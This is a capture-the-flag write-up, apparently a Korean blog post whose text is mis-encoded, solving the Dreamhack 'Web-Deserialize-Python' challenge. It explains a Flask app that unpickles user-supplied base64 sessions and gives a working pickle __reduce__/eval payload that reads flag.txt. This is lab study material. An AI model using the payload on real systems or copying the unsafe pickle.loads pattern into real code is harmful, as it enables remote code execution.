π¦ Web-Deserialize-Python λλ¦Όν΅ μκ²μ λ¬Έμ νμ΄
1. λ¬Έμ μ λν μ€λͺ μ μ½μ ν λ¬Έμ νμΌ λ€μ΄λ‘λ
2. λ€μ΄λ°μ app.py νμΌ μ€ν ν μ½λ λΆμ
2 - 1. νμν νλ μμν¬μ λͺ¨λ κ°μ Έμ€κΈ°
#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64
μ½λ | μ€λͺ |
Flask νλ μμν¬ | μΉ μ΄ν리μΌμ΄μ κ°λ° λ° μ€νμ νμ |
OS λͺ¨λ | μ΄μ체μ κ΄λ ¨ κΈ°λ₯ μν |
Pickle | Python κ°μ²΄ μ§λ ¬ν & μμ§λ ¬ν |
Base64 | λ°μ΄ν°μ Base64 νμ μΈμ½λ© & λμ½λ© |
2 - 2. Flask μ΄ν리μΌμ΄μ λ° μν¬λ¦Ώ ν€ μμ±
app = Flask(__name__)
app.secret_key = os.urandom(32)
2 - 3. flag.txt νμΌμ μ€νν ν, λ΄μ©μ μ½μ΄μ FLAG λ³μμ κ° μ μ₯
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
νμΌμ΄ μ‘΄μ¬ν κ²½μ° | νμΌμ΄ μ‘΄μ¬νμ§ μλ κ²½μ° |
ν΄λΉ λ΄μ©μ FLAG λ³μμ μ μ₯ | FLAG λ³μμ μμμ FLAGκ° ν λΉ |
2 - 4. μΈμ μ λ³΄λ‘ μ¬μ©ν ν€ μ΄λ¦λ€μ INFO 리μ€νΈμ μ μ₯
INFO = ['name', 'userid', 'password']
2 - 5. λ£¨νΈ κ²½λ‘('/')λ‘ μ μνμ λ, index.html ν νλ¦Ώμ λ λλ§νμ¬ λ°ν
@app.route('/')
def index():
return render_template('index.html')
2 - 6. μμ² νμμ λ°λΌ μλ μμ μν
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
GET | POST |
'create_session.html' ν νλ¦Ώμ λ λλ§ν΄μ λ°ν | Base64 μΈμ½λ© κ²°κ³Όλ₯Ό 'create_session.html' ν νλ¦Ώμ μ λ¬ |
2 - 7. μμ² νμμ λ°λΌ λ°μ΄ν° μ²λ¦¬
@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
if request.method == 'GET':
return render_template('check_session.html')
elif request.method == 'POST':
session = request.form.get('session', '')
info = pickle.loads(base64.b64decode(session))
return render_template('check_session.html', info=info)
GET | POST |
'check_session.html' ν νλ¦Ώμ λ λλ§ν΄μ λ°ν | νΌμμ μ μΆλ μΈμ
λ°μ΄ν°λ₯Ό λ°μμ μμ§λ ¬ν β¬οΈ 'check_session.html' ν νλ¦Ώμ μ λ³΄λ‘ μ λ¬ |
2 - 8. Flask μ±μ μ€ννμ¬ μΈλΆ μ μ νμ©
app.run(host='0.0.0.0', port=8000)
3. μλ² μμ± ν Create Session ν΄λ¦
4. μ λ ₯λμ λͺ¨λ test1 μ μμ±νκ³ Create ν΄λ¦ --> μΈμ½λ©λ μΈμ μ΄ μμ±λ¨μ νμΈ
5. Check Session νμ΄μ§λ‘ μ΄λνμ¬ μ΄μ μ μμ±ν κ° μ λ ₯ --> κ³μ μ λ³΄κ° λ³΅νΈνλ κ²μ νμΈ
6. Flag.txt νμΌμ μ½μ΄μ€κΈ° μν μ€ν¬λ¦½νΈ μ¬μ©
import pickle, base64
class test:
def __reduce__(self):
p="open('./flag.txt').read()"
return (eval,(p,))
rs={'name':test()}
print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))
β import pickle, base64
νμ΄μ¬ νμ€ λΌμ΄λΈλ¬λ¦¬μμ `pickle`κ³Ό `base64` λͺ¨λ μν¬νΈ
β‘ class test
`test`λΌλ μ΄λ¦μ ν΄λμ€ μ μ
β’ def __reduce__(self)
κ°μ²΄μ μνλ₯Ό 볡μνλ reduce λ©μλ μ μ
β£ p="open('./flag.txt').read()"
νμΌ μμ€ν μμ `flag.txt` νμΌμ λ΄μ©μ μ½μ΄μ€κΈ°
β€ return (eval,(p,))
κ²°κ³Όκ°μ eval() ν¨μμ ν¨κ» νν ννλ‘ λ°ν
β₯ rs={'name':test()}
`test` ν΄λμ€μ μΈμ€ν΄μ€λ₯Ό `rs` λμ λ리μ `'name'`μ΄λΌλ ν€λ‘ μ μ₯
β¦ print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))
pickle.dumps() ν¨μλ₯Ό μ¬μ©νμ¬ `rs` λμ λ리λ₯Ό μ§λ ¬ννκ³ , κ·Έ κ²°κ³Όλ₯Ό `base64.b64encode` ν¨μλ₯Ό ν΅ν΄ Base64λ‘ μΈμ½λ©
7. μ€ν¬λ¦½νΈλ₯Ό μ€νν ν, κ²°κ³Όκ°μ Session Check μ λ ₯λμ μμ±
8. μ λ ₯ ν Check ν΄λ¦ --> FLAG νμΈ κ°λ₯
'βοΈ Web Hacking > Dreamhack' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
[Dreamhack] ex-reg-ex λλ¦Όν΅ μκ²μ λ¬Έμ νμ΄ (0) | 2023.11.24 |
---|---|
[Dreamhack] Simple-web-request λλ¦Όν΅ μκ²μ λ¬Έμ νμ΄ (0) | 2023.08.17 |
[Dreamhack] Command-Injection-ChatGPT λλ¦Όν΅ μκ²μ λ¬Έμ νμ΄ (0) | 2023.08.15 |
[Dreamhack] Flying Chars λλ¦Όν΅ μκ²μ λ¬Έμ νμ΄ (0) | 2023.08.13 |
[Dreamhack] Session λλ¦Όν΅ μκ²μ λ¬Έμ νμ΄ (0) | 2023.08.12 |